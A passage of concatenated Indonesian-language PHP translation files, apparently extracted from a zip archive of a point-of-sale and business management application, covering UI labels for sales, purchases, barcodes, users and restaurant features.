berulang', 'recurring' => 'Berulang', 'view_product_stock_value' => 'Lihat nilai stok produk', 'added' => 'Ditambahkan', 'disable_credit_sale_button' => 'Nonaktifkan tombol penjualan kredit', 'pay' => 'Bayar', 'use_advance_balance' => 'Gunakan saldo di muka', 'advance' => 'Uang Muka', 'advance_balance' => 'Saldo di Muka', 'advance_payment' => 'Pembayaran di muka', 'required_advance_balance_not_available' => 'Saldo uang muka yang diperlukan tidak tersedia', 'in_transit' => 'Dalam Transit', 'edit_stock_transfer' => 'Edit Transfer Saham', 'completed_status_help' => 'Transfer saham tidak dapat diedit jika status selesai', 'no_data' => 'Tidak ada data', 'sms_service' => 'Layanan SMS', 'nexmo_key' => 'Kunci Nexmo', 'nexmo_secret' => 'Rahasia Nexmo', 'twilio_token' => 'Token Akses Twilio', 'twilio_sid' => 'SID Akun Twilio', 'upcoming' => 'Akan datang', 'final' => 'Final', 'expense_for_contact' => 'Biaya untuk kontak', 'create' => 'Buat', 'waiting' => 'Menunggu', 'sms_settings_header_key' => 'Header: tombol angka', 'sms_settings_header_val' => 'Header: nilai angka', 'stock_adjustment_details' => 'Detail penyesuaian stok', 'stock_transfer_details' => 'Rincian transfer saham', 'invoice_layout_for_pos' => 'Tata letak faktur untuk POS', 'invoice_layout_for_sale' => 'Tata letak faktur untuk dijual', 'invoice_layout_for_sale_tooltip' => 'Tata letak faktur untuk penjualan langsung', 'new_quotation' => 'Kutipan Baru', 'new_quotation_notification' => 'Pemberitahuan kutipan baru', 'view_quote_url' => 'Lihat url kutipan', 'close_cash_register' => 'Tutup mesin kasir', 'view_cash_register' => 'Lihat mesin kasir', 'for_tax_group_only' => 'Hanya untuk grup pajak', 'for_tax_group_only_help' => 'Jika dicentang maka pajak ini tidak akan ditampilkan secara indivisual di dropdown, hanya dapat ditambahkan di tax group', 'exempt' => 'Membebaskan', 'tax_exempt_help' => 'Tarif pajak nol persen akan dianggap bebas pajak', 'show_total_in_words' => 'Tunjukkan total dalam kata-kata', 'show_in_word_help' => 'ekstensi php-intl perlu diaktifkan', 'print_on_suspend' => 'Cetak faktur saat ditangguhkan', 'view_all_customer' => 'Lihat semua pelanggan', 'view_own_customer' => 'Lihat pelanggan sendiri', 'view_all_supplier' => 'Lihat semua pemasok', 'view_own_supplier' => 'Lihat pemasok sendiri', 'label_help' => 'Cetak Barcode / Label', 'connection_type_windows' => 'Jenis Koneksi Windows', 'connection_type_linux' => 'Jenis Koneksi Linux', 'windows_type_help' => 'File perangkat akan berada di sepanjang baris', 'linux_type_help' => 'File perangkat printer Anda akan berada di suatu tempat seperti', 'due_date' => 'Batas waktu', 'quotation_no' => 'Nomor kutipan', 'browser_based_printing' => 'Pencetakan Berbasis Browser', 'configured_printer' => 'Gunakan Printer Tanda Terima yang Dikonfigurasi', 'for_normal_printer' => 'Untuk printer biasa', 'recomended_for_80mm' => 'Direkomendasikan untuk printer resi saluran termal, ukuran kertas 80mm', 'recomended_for_58mm' => 'Direkomendasikan untuk printer resi saluran termal, ukuran kertas 80mm dan 58mm', 'classic' => 'Klasik', 'elegant' => 'Anggun', 'slim' => 'Ramping', 'detailed' => 'Terperinci', 'columnize_taxes' => 'Columnize Taxes', 'types_of_service_help_long' => 'Jenis layanan berarti layanan seperti makan di tempat, parsel, pengantaran ke rumah, pengantaran pihak ketiga, dll. Dapat diaktifkan / dinonaktifkan dari <code> Settings> Modules </code> dan bisa dibuat dari <code> Settings> Jenis layanan </code>. Anda juga dapat menentukan kelompok harga yang berbeda & biaya pengepakan untuk jenis layanan.', 'access_sell_return' => 'Akses menjual kembali', 'system_notification' => 'Pemberitahuan Sistem', 'time_range' => 'Rentang waktu', 'enable_php_intl_extension' => 'Aktifkan ekstensi php-intl di pengaturan PHP INI', 'profit_note' => '<b> Catatan: </b> Keuntungan menurut produk / kategori / merek hanya memperhitungkan diskon inline. Diskon faktur tidak dipertimbangkan.', 'upcoming_bookings' => 'Pemesanan Mendatang', 'is_refund' => 'Apakah pengembalian dana', 'is_refund_help' => 'Jika biaya yang diperiksa akan dikembalikan dan akan ditambahkan ke laba bersih', 'refund' => 'Pengembalian dana', 'activate' => 'Mengaktifkan', 'deactivate' => 'Menonaktifkan', 'add_quotation' => 'Tambahkan Kutipan', 'product_stock_history' => 'Riwayat stok produk', 'quantities_in' => 'Jumlah Dalam', 'quantities_out' => 'Jumlah Keluar', 'in' => 'Di', 'out' => 'Di luar', 'totals' => 'Total', 'quantity_change' => 'Perubahan kuantitas', 'new_quantity' => 'Kuantitas Baru', 'no_stock_history_found' => 'Tidak ada riwayat saham yang ditemukan', 'add_draft' => 'Tambahkan Draf', 'labels_for_sale_shipping_custom_fields' => 'Label untuk dijual pengiriman bidang khusus', 'is_required' => 'Diperlukan', 'convert_to_invoice' => 'Ubah menjadi faktur', 'converted_to_invoice_successfully' => 'Berhasil diubah menjadi invoice :invoice_no', 'proforma' => 'Proforma', 'proforma_invoice' => 'Proforma invoice', 'convert_to_proforma' => 'Ubah ke Proforma Invoice', 'converted_to_proforma_successfully' => 'Dikonversi ke Proforma Invoice', 'billing_address' => 'Alamat tagihan', 'delete_sell' => 'Hapus Jual', 'product_brochure' => 'Brosur produk', 'whatsapp_text' => 'Teks Whatsapp', 'auto_send_wa_notif' => 'Kirim otomatis notifikasi Whatsapp', 'send_whatsapp' => 'Kirim pemberitahuan Whatsapp', 'send_sms' => 'Kirim SMS', 'send_email' => 'Mengirim email', 'shipping_documents' => 'Dokumen pengiriman', 'no_attachment_found' => 'Tidak ada lampiran yang ditemukan', 'attachments' => 'Lampiran', 'print_invoice' => 'Cetak Faktur', 'word_format' => 'Format Kata', 'international' => 'Internasional', 'indian' => 'Indian', 'word_format_help' => 'Dalam format internasional, angka besar diwakili dalam jutaan, miliar, dan triliun sedangkan dalam format India diwakili dalam lakh dan crores', 'shipping_edited' => 'Pengiriman sudah diedit', 'payment_edited' => 'Pembayaran diedit', 'notification_sent' => 'Pemberitahuan Terkirim', 'imported' => 'Impor', 'logout' => 'Keluar', 'backup_clean_command_instruction' => 'Untuk membersihkan cadangan lama Anda harus menyiapkan tugas cron dengan perintah ini:', 'converted' => 'Dikonversi', 'view_commission_agent_sell' => 'Agen komisi dapat melihat penjualan mereka sendiri', 'access_commission_agent_shipping' => 'Agen komisi dapat mengakses kiriman mereka sendiri', 'access_own_shipping' => 'Akses kiriman sendiri', 'email_notification_sent' => 'Pemberitahuan email terkirim', 'sms_notification_sent' => 'Notifikasi SMS terkirim', 'packing_date' => 'Tanggal Pengepakan', 'print_exp_date' => 'Cetak tanggal kadaluwarsa', 'print_packing_date' => 'Cetak tanggal pengepakan', 'print_lot_number' => 'Cetak nomor lot', 'family_contact_number' => 'Nomor kontak keluarga', 'custom_payment' => 'Pembayaran Kustom :number', 'default_credit_limit' => 'Batas kredit default', 'price_calculation_type' => 'Jenis kalkulasi harga', 'show_pricing_on_product_sugesstion' => 'Tampilkan harga pada keterangan alat saran produk', 'all_purchase_orders' => 'Semua pesanan pembelian', 'add_purchase_order' => 'Tambahkan Pesanan Pembelian', 'edit_purchase_order' => 'Edit pesanan pembelian', 'purchase_order_details' => 'Rincian pesanan pembelian', 'enable_purchase_order' => 'Aktifkan pesanan pembelian', 'purchase_order_help_text' => 'Pesanan pembelian adalah dokumen komersial dan penawaran resmi pertama yang dikeluarkan oleh pembeli kepada penjual yang menunjukkan jenis, jumlah, dan harga yang disepakati untuk produk atau layanan. Ini digunakan untuk mengontrol pembelian produk dan layanan dari pemasok eksternal. menjadi bagian penting dari pesanan sistem perencanaan sumber daya perusahaan. ', 'view_all_purchase_order' => 'Lihat semua pesanan pembelian', 'view_own_purchase_order' => 'Lihat pesanan pembelian sendiri', 'create_purchase_order' => 'Buat pesanan pembelian', 'delete_purchase_order' => 'Hapus pesanan pembelian', 'purchase_order_delete_success' => 'Pesanan pembelian berhasil dihapus', 'order_quantity' => 'Jumlah pesanan', 'order_date' => 'Tanggal pemesanan', 'max_quantity_quantity_allowed' => 'Max :quantity diperbolehkan', 'leave_empty_to_autogenerate' => 'Biarkan kosong untuk membuat otomatis', 'add_edit_invoice_number' => 'Tambahkan edit nomor faktur', 'keep_blank_to_autogenerate' => 'Biarkan kosong untuk menghasilkan otomatis', 'download_pdf' => 'Unduh PDF', 'attach_pdf_in_email' => 'Lampirkan pdf faktur di email', 'send_sms_whatsapp_notification' => 'Kirim sms / notifikasi whatsapp', 'enable_sales_order' => 'Aktifkan Pesanan Penjualan', 'sales_order' => 'Order penjualan', 'sales_order_help_text' => 'Sales order, kadang-kadang disingkat SO, adalah order yang dikeluarkan oleh bisnis atau pedagang tunggal kepada pelanggan. Pesanan penjualan mungkin untuk produk dan / atau layanan.', 'add_sales_order' => 'Tambahkan Pesanan Penjualan', 'edit_sales_order' => 'Edit Pesanan Penjualan', 'shipping_note' => 'Nota pengiriman', 'code_1_name' => 'Nama kode 1', 'code_2_name' => 'Nama kode 2', 'code_1' => 'Kode 1', 'code_2' => 'Kode 2', 'download_paking_pdf' => 'Unduh pengepakan pdf', 'subject_type' => 'Jenis Subjek', 'activity_log' => 'Log aktivitas', 'sell_deleted' => 'Jual Dihapus', 'so_deleted' => 'Pesanan Penjualan Dihapus', 'po_deleted' => 'Pesanan Pembelian Dihapus', 'purchase_deleted' => 'Pembelian Dihapus', 'contact_deleted' => 'Kontak Dihapus', 'payment_deleted' => 'Pembayaran Dihapus', 'quantity_remaining' => 'Jumlah yang tersisa', 'view_sale' => 'Lihat Jual', 'update_sale' => 'Perbarui Penjualan', 'add_sell' => 'Tambahkan Jual', 'account_details' => 'Detail akun', 'label' => 'Label', 'prefer_payment_method' => 'Lebih suka metode pembayaran', 'prefer_payment_account' => 'Lebih suka akun pembayaran', 'this_will_be_shown_in_pdf' => 'Metode / akun pilihan di mana pelanggan dapat membayar faktur. (Berguna untuk faktur kredit)', 'view_own_so' => 'Lihat pesanan penjualan sendiri', 'view_all_so' => 'Lihat semua pesanan penjualan', 'create_so' => 'Buat pesanan penjualan', 'edit_so' => 'Edit pesanan penjualan', 'delete_so' => 'Hapus pesanan penjualan', 'types_of_service_custom_field_help' => 'Enam bidang khusus akan tersedia sambil menambahkan penjualan', 'delete_expense' => 'Hapus Pengeluaran', 'access_all_expense' => 'Akses semua pengeluaran', 'designation' => 'Penunjukan', 'department' => 'Departemen', 'is_default_for_contact' => 'Apakah default untuk kontak', 'individual' => 'Individu', 'is_export' => 'Apakah ekspor?', 'export' => 'Ekspor', 'export_custom_field1' => 'Ekspor bidang khusus 1', 'export_custom_field2' => 'Ekspor bidang khusus 2', 'export_custom_field3' => 'Ekspor bidang khusus 3', 'export_custom_field4' => 'Ekspor bidang khusus 4', 'export_custom_field5' => 'Ekspor bidang khusus 5', 'export_custom_field6' => 'Ekspor bidang khusus 6', 'enable_export' => 'Aktifkan ekspor', 'edit_status' => 'Edit status', 'status_updated' => 'Status diperbarui', 'item_discount_label' => 'Label diskon item', 'sales_orders' => 'Pesanan Penjualan', 'cash_denominations' => 'Denominasi Tunai', 'cash_denominations_help' => 'Nilai dipisahkan koma Contoh: 100.200.500.2000', 'denomination' => 'Denominasi', 'count' => 'Menghitung', 'denomination_add_help_text' => 'Tambahkan denominasi di Pengaturan -> Pengaturan Bisnis -> POS -> Denominasi Tunai', 'order_dates' => 'Tanggal pemesanan', 'by_category' => 'Oleh kategori', 'by_brand' => 'Berdasarkan Merek', 'no_brand' => 'Tidak bermerek', 'woocommerce_sync' => 'Sinkronisasi WooCommerce', 'enable' => 'Memungkinkan', 'disable' => 'Nonaktifkan', 'cmmsn_calculation_type' => 'Jenis Perhitungan Komisi', 'invoice_value' => 'Nilai faktur', 'total_payment_with_commsn' => 'Total pembayaran dengan komisi', 'payments_with_cmmsn' => 'Pembayaran dengan komisi', 'view_all_drafts' => 'Lihat semua draf', 'view_own_drafts' => 'Lihat draf sendiri', 'edit_draft' => 'Mengedit draf', 'delete_draft' => 'Hapus draf', 'view_all_quotations' => 'Lihat semua kutipan', 'view_own_quotations' => 'Lihat kutipan sendiri', 'edit_quotation' => 'Edit kutipan', 'delete_quotation' => 'Hapus kutipan', 'primary_work_location' => 'Lokasi kerja utama', 'labels_for_purchase_shipping_custom_fields' => 'Label untuk bidang kustom pengiriman pembelian', 'view_own_purchase_n_stock_adjustment' => 'Lihat Pembelian & Penyesuaian Stok sendiri', 'view_all_purchase_n_stock_adjustment' => 'Lihat semua Penyesuaian Pembelian & Stok', 'access_all_shipments' => 'Akses semua pengiriman', 'view_all_sale' => 'Lihat semua penjualan', 'total_quantity' => 'Jumlah total', 'pending_shipments' => 'Pengiriman Tertunda', 'view_paid_sells_only' => 'Hanya lihat penjualan berbayar', 'view_due_sells_only' => 'Hanya lihat penjualan jatuh tempo', 'view_partially_paid_sells_only' => 'Lihat hanya penjualan yang dibayar sebagian', 'view_overdue_sells_only' => 'Hanya lihat penjualan yang lewat jatuh tempo', 'customer_with_no_sell_one_month' => 'Lihat pelanggan tanpa penjualan hanya dari satu bulan', 'customer_with_no_sell_three_month' => 'Lihat pelanggan tanpa penjualan hanya dari tiga bulan', 'customer_with_no_sell_six_month' => 'Lihat pelanggan tanpa penjualan hanya dari enam bulan', 'customer_with_no_sell_one_year' => 'Lihat pelanggan tanpa penjualan dari satu tahun saja', 'customer_permissions_tooltip' => 'Untuk melihat semua pelanggan tanpa penjualan dari waktu tertentu <b>Melihat semua pelanggan</b> izin diperlukan jika tidak, itu akan memfilter dengan hanya pelanggan yang dibuat oleh pengguna yang masuk', 'sell_permissions_tooltip' => 'Untuk melihat penjualan berdasarkan status pembayaran <b> Lihat semua penjualan</b> izin diperlukan jika tidak, itu akan memfilter dengan hanya penjualan yang dibuat oleh pengguna yang masuk', 'access_pending_shipments_only' => 'Hanya akses pengiriman yang tertunda', 'access_all_sell_return' => 'Akses semua jual retrun', 'access_own_sell_return' => 'Akses sendiri, jual retrun', 'proforma_heading' => 'Judul faktur proforma', 'tooltip_proforma_heading' => 'Judul faktur Proforma digunakan saat memberikan Proforma kepada pelanggan.', 'line_taxes' => 'Pajak jalur', 'add_additional_expenses' => 'Tambahkan biaya tambahan', 'additional_expense_name' => 'Nama pengeluaran tambahan', 'purchase_additional_expense' => 'Beli biaya tambahan', 'qr_code' => 'Kode QR', 'show_qr_code' => 'Tampilkan Kode QR', 'fields_to_be_shown' => 'Bidang yang akan ditampilkan', 'business_location_address' => 'Alamat lokasi bisnis', 'business_tax_1' => 'Pajak bisnis 1', 'business_tax_2' => 'Pajak Bisnis 2', 'invoice_datetime' => 'Tanggal Faktur', 'total_amount_with_tax' => 'Jumlah total dengan pajak', 'total_bank_transfer' => 'Total transfer bank', 'total_advance_payment' => 'Total uang muka', 'commission_agent_label' => 'Label agen komisi', 'show_commission_agent' => 'Tampilkan agen komisi', 'cannot_change_role' => 'Tidak dapat mengubah peran', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Tautan Pembayaran', 'enable_payment_link' => 'Aktifkan tautan pembayaran', 'payment_link_help_text' => 'Dengan mengaktifkan pengguna dapat membayar faktur menggunakan tautan pembayaran', 'invoice_payment' => 'Pembayaran Faktur', 'payment_for_invoice_no' => 'Pembayaran nomor invoice', 'pending_shipments' => 'Pengiriman Tertunda', 'cannot_change_role' => 'Tidak dapat mengubah peran', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Tautan Pembayaran', 'enable_payment_link' => 'Aktifkan tautan pembayaran', 'payment_link_help_text' => 'Dengan mengaktifkan pengguna dapat membayar faktur menggunakan tautan pembayaran', 'invoice_payment' => 'Pembayaran Faktur', 'payment_for_invoice_no' => 'Pembayaran nomor invoice', 'pending_shipments' => 'Pengiriman Tertunda', 'sources' => 'Sumber', 'stripe_secret_key' => 'Kunci rahasia garis', 'stripe_public_key' => 'Kunci publik bergaris', 'edit_opening_balance' => 'Edit Saldo Pembukaan', 'edit_fund_transfer' => 'Ubah Transfer Dana', 'edit_deposit' => 'Ubah Setoran', 'deposit_to' => 'Setor ke', 'transfer_from' => 'Transfer dari', 'edit_account_transaction' => 'Edit transaksi akun', 'delete_account_transaction' => 'Hapus transaksi akun', 'add_purchase_payment' => 'Tambahkan pembayaran pembelian', 'edit_purchase_payment' => 'Edit pembayaran pembelian', 'delete_purchase_payment' => 'Hapus pembayaran pembelian', 'add_sell_payment' => 'Tambahkan pembayaran penjualan', 'edit_sell_payment' => 'Edit pembayaran penjualan', 'delete_sell_payment' => 'Hapus pembayaran penjualan', 'sales_order_heading' => 'Judul Pesanan Penjualan', 'account_balance' => 'Saldo rekening', 'total_balance' => 'Jumlah Saldo', 'account_balance_tooltip' => 'Total saldo akun tertentu', 'total_balance_tooltip' => 'Total Saldo semua akun', 'sell_additional_expense' => 'Jual biaya tambahan', 'view_export_buttons' => 'Lihat tombol ekspor ke (csv/excel/print/pdf) pada tabel', 'overall' => 'Keseluruhan', 'show_labels' => 'Tampilkan Label', 'zatca_qr' => 'Kode QR ZATCA (Fatoora)', 'zatca_qr_help' => 'Untuk negara Arab Saudi', 'customer_irrespective_of_sell' => 'Lihat pelanggan terlepas dari penjualan mereka', 'img_url_help_text' => 'Atau URL gambar', 'delivery_person' => 'Pengantar Pesanan', 'enable_service_staff_pin' => 'Aktifkan PIN staf layanan', 'staff_pin' => 'PIN Staf', 'tooltip_is_enable_service_staff_pin' => 'Jika diaktifkan, saat penjualan/POS ketika pengguna ini dipilih sebagai staf layanan, PIN harus dimasukkan, PIN yang salah tidak akan memungkinkan pemilihan pengguna ini sebagai staf layanan.', 'kitchen_order' => 'Pesanan Dapur', 'kitchen_order_tooltip' => 'Pesanan akan dikirim ke dapur hanya jika opsi ini dicentang', 'disable_quotation' => 'Nonaktifkan Penawaran', 'disable_card' => 'Nonaktifkan Kartu', 'assigned_to' => 'Ditugaskan kepada', 'has_no_sell_from' => 'Tidak ada penjualan dari', 'delivery_note' => 'Catatan Pengiriman', 'above_mentioned_items_received_in_good_condition' => 'Item yang disebutkan di atas diterima dalam kondisi baik', 'received_by' => 'Diterima oleh', 'enter_details_below_to_check_repair_status' => 'Masukkan detail di bawah untuk memeriksa Status Perbaikan', 'search_by' => 'Cari berdasarkan' ]; PK G �ZO�cC� � id/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'Barcode', 'barcode_settings' => 'Pengaturan Barcode', 'manage_your_barcodes' => 'Kelola pengaturan barcode Anda', 'all_your_barcode' => 'Semua pengaturan barcode Anda', 'setting_name' => 'Pengaturan nama lembar stiker', 'setting_description' => 'Pengaturan deskripsi lembar stiker', 'added_success' => 'Pengaturan barcode berhasil ditambahkan', 'updated_success' => 'Pengaturan barcode berhasil diperbarui', 'deleted_success' => 'Pengaturan barcode berhasil dihapus', 'add_new_setting' => 'Tambahkan pengaturan baru', 'add_barcode_setting' => 'Tambahkan pengaturan stiker barcode', 'edit_barcode_setting' => 'Edit pengaturan stiker barcode', 'in_in' => 'Dalam inci', 'width' => 'Lebar stiker', 'height' => 'Tinggi stiker', 'top_margin' => 'Tambahan margin atas', 'left_margin' => 'Tambahan margin kiri', 'row_distance' => 'Jarak antara dua baris', 'col_distance' => 'Jarak antara dua kolom', 'blank_stickers' => 'Stiker Kosong', 'stickers_in_one_row' => 'Stiker dalam satu baris', 'delete_confirm' => 'Pengaturan ini akan dihapus \n Apakah Anda yakin?', 'set_as_default' => 'Ditetapkan sebagai default', 'default' => 'Default', 'default_set_success' => 'Pengaturan default berhasil', 'stickers_in_one_sheet' => 'Jumlah stiker per lembar', 'is_continuous' => 'Traktor atau roll', 'products' => 'Produk', 'no_of_labels' => 'Jumlah label', 'info_in_labels' => 'Informasi untuk ditampilkan dalam Label', 'print_name' => 'Nama Produk', 'print_variations' => 'Variasi Produk (disarankan)', 'print_price' => 'Harga Produk', 'show_price' => 'Tampilkan Harga', 'preview' => 'Pratinjau', 'print_business_name' => 'Nama Bisnis', 'barcode_setting' => 'Pengaturan barcode', 'paper_width' => 'Lebar kertas', 'paper_height' => 'Tinggi kertas', 'print_labels' => 'Cetak Label', 'labels' => 'Label', ]; PK G �Z�z��q q id/user.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'edit_profile' => 'Edit Profil', 'change_password' => 'Ubah kata sandi', 'current_password' => 'Kata sandi saat ini', 'new_password' => 'Kata sandi baru', 'confirm_new_password' => 'Konfirmasi kata sandi baru', 'user_management' => 'Mengelola Pengguna', 'roles' => 'Wewenang', 'users' => 'Pengguna', 'manage_roles' => 'Mengelola Wewenang', 'all_roles' => 'Semua wewenang', 'add_role' => 'Tambah wewenang', 'role_name' => 'Nama wewenang', 'permissions' => 'Ijin', 'role_added' => 'Wewenang berhasil ditambahkan', 'role_already_exists' => 'Wewenang dengan nama yang sama sudah ada', 'edit_role' => 'Edit wewenang', 'role_updated' => 'Wewenang berhasil diperbarui', 'role_deleted' => 'Wewenang berhasil dihapus', 'manage_users' => 'Mengelola Pengguna', 'all_users' => 'Semua pengguna', 'name' => 'Nama', 'role' => 'Wewenang', 'add_user' => 'Tambah pengguna', 'user_added' => 'Pengguna berhasil ditambahkan', 'role_is_default' => 'Anda tidak dapat mengubah wewenang ini', 'edit_user' => 'Edit pengguna', 'leave_password_blank' => 'Biarkan bidang kata sandi kosong jika Anda tidak ingin memperbarui kata sandi', 'user_update_success' => 'Pengguna berhasil diperbarui', 'user_delete_success' => 'Pengguna berhasil dihapus', ]; PK G �Z�-E� � id/restaurant.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Restaurant Language Lines |-------------------------------------------------------------------------- */ 'restaurant' => 'Restoran', 'tables' => 'Meja', 'table' => 'Meja', 'manage_your_tables' => 'Mengelola meja restoran', 'all_your_tables' => 'Semua meja restoran', 'description' => 'Deskripsi', 'add_table' => 'Tambahkan meja', 'edit_table' => 'Edit meja', 'table_name' => 'Nama meja', 'short_description' => 'Deskripsi Singkat', 'select_table' => 'Pilih meja', 'show_table' => 'Tampilkan meja', 'table_label' => 'Label meja', 'show_service_staff' => 'Tampilkan staf layanan', 'service_staff_label' => 'Label staf layanan', 'select_waiter' => 'Pilih Pelayan', 'modifiers' => 'Modifier', 'modifier_sets' => 'Set Modifier', 'manage_your_modifiers' => 'Mengelola semua modifier restoran', 'all_your_modifiers' => 'Semua Modifier', 'add_modifier' => 'Tambahkan Modifier', 'modifier_set' => 'Set Modifier', 'modifier' => 'Modifier', 'edit_modifier' => 'Edit Modifier', 'manage_products' => 'Mengelola Produk', 'products' => 'Produk', 'modifiers_for_product' => 'Modifier untuk produk', 'kitchen' => 'Dapur', 'mark_as_cooked' => 'Tandai sudah matang', 'manage_your_kitchen' => 'Mengelola dapur Anda', 'all_orders' => 'Semua pesanan', 'order_no' => 'No. Pesanan', 'order_statuses' => [ 'received' => 'Diterima', 'cooked' => 'Matang', 'served' => 'Menyajikan', '' => 'Diterima', ], 'order_successfully_marked_cooked' => 'Pesanan berhasil ditandai telah matang', 'order_successfully_marked_served' => 'Pesanan berhasil ditandai sebagai telah disajikan', 'orders' => 'Pesanan', 'manage_your_orders' => 'Kelola pesanan Anda', 'all_your_orders' => 'Semua pesanan Anda', 'mark_as_served' => 'Tandai sebagai telah disajikan', 'placed_at' => 'Ditempatkan pada', 'order_status' => 'Status pemesanan', 'order_details' => 'Detail pesanan', 'refresh' => 'Segarkan', 'no_orders_found' => 'Tidak ada pesanan yang ditemukan', 'select_service_staff' => 'Pilih staf layanan', 'service_staff' => 'Staf layanan', 'kitchen_for_restaurant' => 'Dapur (Untuk restoran)', 'products_for_modifier' => 'Produk untuk modifier', 'is_service_staff' => 'Adalah staf layanan', 'tooltip_tables' => 'Digunakan terutama di restoran, bar, salon dll', 'tooltip_modifiers' => 'Item tambahan ditambahkan dengan produk utama<br>Misal:Toppings, Keju', 'tooltip_service_staff' => 'Orang yang menyediakan layanan yang diinginkan oleh pelanggan<br> Misal: Staf penjaga di restoran, Penata rambut di salon', 'modules_settings' => 'Pengaturan modul', 'bookings' => 'Booking', 'add_edit_view_all_booking' => 'Tambah/Edit/Lihat semua booking', 'add_edit_view_own_booking' => 'Tambah/Edit/Lihat booking', 'add_booking' => 'Tambah booking baru', 'start_time' => 'Waktu mulai', 'end_time' => 'Waktu selesai', 'booking_not_available' => 'Meja sudah dibooking untuk <b>:customer_name</b> antara <b>:booking_time_range</b>', 'select_correspondent' => 'Pilih koresponden', 'send_notification_to_customer' => 'Kirim pemberitahuan Email / SMS ke pelanggan', 'booking_details' => 'Rincian booking', 'correspondent' => 'Koresponden', 'booking_starts' => 'Mulai booking', 'booking_ends' => 'Booking berakhir', 'cancelled' => 'Dibatal', 'completed' => 'Selesai', 'change_booking_status' => 'Ubah status booking', 'booked' => 'telah dibooking', 'delete_booking' => 'Hapus booking', 'click_on_any_booking_to_view_or_change_status' => 'Klik pada booking apa saja untuk melihat detail atau mengubah status', 'double_click_on_any_day_to_add_new_booking' => 'Klik dua kali pada hari apa saja untuk menambahkan booking baru', 'todays_bookings' => 'Booking Hari ini', 'hello_name' => 'Halo :name!', 'booking_confirmed' => 'Booking Anda telah dikonfirmasi.', 'table_info' => 'Meja: :table', 'booking_time_info' => 'Dari :from sampai :to', 'new_booking_subject' => 'Booking baru - :business_name', 'customer_note' => 'Catatan Pelanggan', 'table_report' => 'Laporan Meja', 'service_staff_report' => 'Laporan Staf Layanan', 'service_staff_replacement' => 'Penggantian staf layanan', ]; PK G �Z���� � id/purchase.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Purchase Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Purchase screens | */ 'supplier' => 'Pemasok', 'ref_no' => 'Nomor Referensi', 'business_location' => 'Lokasi Bisnis', 'purchases' => 'Pembelian', 'add_payment' => 'Tambahkan pembayaran', 'edit_payment' => 'Edit pembayaran', 'view_payments' => 'Lihat pembayaran', 'amount_already_paid' => 'Jumlah sudah dibayar', 'payment_added_success' => 'Pembayaran berhasil ditambahkan', 'payment_updated_success' => 'Pembayaran berhasil diperbarui', 'payment_deleted_success' => 'Pembayaran berhasil dihapus', 'view_payments' => 'Lihat Pembayaran', 'amount' => 'Jumlah', 'payment_method' => 'Metode pembayaran', 'no_records_found' => 'Tidak ada catatan yang ditemukan', 'payment_due' => 'Pembayaran jatuh tempo', 'purchase_total' => 'Total pembelian', 'location' => 'Lokasi', 'payment_note' => 'Catatan Pembayaran', 'all_purchases' => 'Semua Pembelian', 'purchase_status' => 'Status Pembelian', 'payment_status' => 'Status Pembayaran', 'grand_total' => 'Grand Total', 'add_purchase' => 'Tambah Pembelian', 'purchase_date' => 'Tanggal Pembelian', 'purchase_quantity' => 'Kuantitas Pembelian', 'unit_cost_before_tax' => 'Modal Satuan (Sebelum Pajak)', 'subtotal_before_tax' => 'Subtotal (Sebelum Pajak)', 'product_tax' => 'Pajak Produk', 'net_cost' => 'Model bersih', 'line_total' => 'Total Baris', 'unit_selling_price' => 'Harga Jual Satuan', 'total_before_tax' => 'Total Sebelum Pajak', 'net_total_amount' => 'Jumlah Total Bersih', 'discount_type' => 'Jenis Diskon', 'discount_amount' => 'Jumlah diskon', 'discount' => 'Diskon', 'edit_purchase' => 'Edit Pembelian', 'purchase_tax' => 'Pajak Pembelian', 'shipping_details' => 'Rincian pengiriman', 'additional_shipping_charges' => 'Biaya Pengiriman tambahan', 'purchase_total' => 'Total Pembelian', 'additional_notes' => 'Catatan Tambahan', 'purchase_add_success' => 'Pembelian berhasil ditambahkan', 'purchase_update_success' => 'Pembelian berhasil diperbarui', 'purchase_details' => 'Detail Pembelian', 'unit_cost_after_tax' => 'Harga Modal Satuan (Setelah Pajak)', 'total_after_tax' => 'Total Setelah Pajak', 'no_payments' => 'Tidak ditemukan pembayaran', 'allow_purchase_different_currency' => 'Pembelian dalam mata uang lain', 'purchase_currency' => 'Mata Uang Pembelian', 'p_exchange_rate' => 'Nilai tukar mata uang', 'diff_purchase_currency_help' => 'Mata uang pembelian diatur ke <strong> :currency </strong>', 'list_purchase' => 'Daftar Pembelian', 'attach_document' => 'Lampirkan Dokumen', 'download_document' => 'Unduh Dokumen', 'max_file_size' => 'Ukuran file maks: :sizeMB', ]; PK G �Z�an�{ { id/business.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'register_and_get_started_in_minutes' => 'Daftar dan Mulai dalam hitungan menit', 'business_name' => 'Nama Bisnis', 'start_date' => 'Tanggal Mulai', 'currency' => 'Mata Uang', 'currency_placeholder' => 'Pilih Mata Uang', 'upload_logo' => 'Unggah Logo', 'country' => 'Negara', 'state' => 'Negara', 'city' => 'Kota', 'zip_code' => 'Kode Pos', 'zip_code_placeholder' => 'Kode Pos', 'landmark' => 'Patokan lokasi', 'tax_1_name' => 'Nama Pajak 1', 'tax_1_no' => 'No. Pajak 2', 'tax_2_name' => 'Nama Pajak 2', 'tax_2_no' => 'No. Pajak 2', 'tax_1_placeholder' => 'GST / PPN / Lainnya', 'prefix' => 'Awalan', 'prefix_placeholder' => 'Bpk / Ibu / Nona', 'first_name' => 'Nama Depan', 'last_name' => 'Nama Belakang', 'username' => 'Nama pengguna', 'email' => 'Email', 'password' => 'Kata sandi', 'confirm_password' => 'Konfirmasi kata sandi', 'register' => 'Daftar', 'business' => 'Bisnis', 'address' => 'Alamat', 'logo_help' => 'Logo sebelumnya (jika ada) akan diganti', 'update_settings' => 'Perbarui Pengaturan', 'business_settings' => 'Pengaturan Bisnis', 'settings_updated_success' => 'Pengaturan berhasil diperbarui', 'default_profit_percent' => 